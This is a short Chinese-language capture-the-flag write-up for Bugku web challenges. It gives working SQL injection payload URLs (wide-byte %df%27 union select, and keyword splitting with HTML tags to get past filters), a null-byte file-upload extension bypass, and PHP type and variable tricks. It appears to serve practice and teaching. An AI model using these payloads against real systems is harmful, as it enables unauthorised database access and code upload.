Bugku web writeup

  1. 文件上傳測試
    在文件上傳界面抓包,將文件名改爲123456.jpg .php,再在十六進制中將空格改爲00,go
  2. 計算題
    查看源碼,修改輸入長度
  3. web基礎$_GET

    PHP語言,表示要傳值,用hackbar完成
  4. web基礎$_POST

    需要拋出值。
  5. 矛盾

    numeric()函數的意思爲,判斷括號中的變量是否是一個數字或者數字字符串。
    此題中,要num爲數字,但是不爲數字才能輸出flag,可以輸入1a。
  6. web3
    阻止對話框後查看源代碼,發現下面有一行Unicode編碼,轉換成ascll碼得到KEY。
  7. 你必須讓它停下來
    用bure抓包,然後一直GOGOGO,刷新到圖片爲10的時候出現flag。
  8. web4
    查看頁面源碼,發現有兩個utf代碼,轉換之後看見password,進去拿到flag
  9. sql注入測試
    查看源碼之後發現
    gb2312
    於是想到寬字節注入http://103.238.227.13:10083/?id=1%df%27顯示出sql錯誤
     

    union select測試到兩列時出現回顯: 
    http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23
    構造語句查看一下數據庫名 
    http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
    庫名sql5 
    OK,開始注入吧,payload: 
    http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id=1%23
    10.sql注入2
    可以知道strip_tags()函數會過剝去字符串中的 HTML 標籤(即<>),即在sql關鍵詞中插入HTML標籤繞過sql過濾,然後通過xss過濾刪去HTML標籤。 
    union select測試發現同樣有兩列:
    http://103.238.227.13:10087/?id=1 un<>ion se<>lect 1,2%23
    找到表名,爲sql3:
    http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23
    最後得flag,payload:
    http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23
    11.變量1

    preg_match功能是會被搜索的結果所填充,進行正則表達式匹配。並且只匹配一次
    GLOBALS是PHP的一個超級全局變量組,在一個PHP腳本的全部作用域中都可以訪問。
    ?args=GLOBALS

     

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章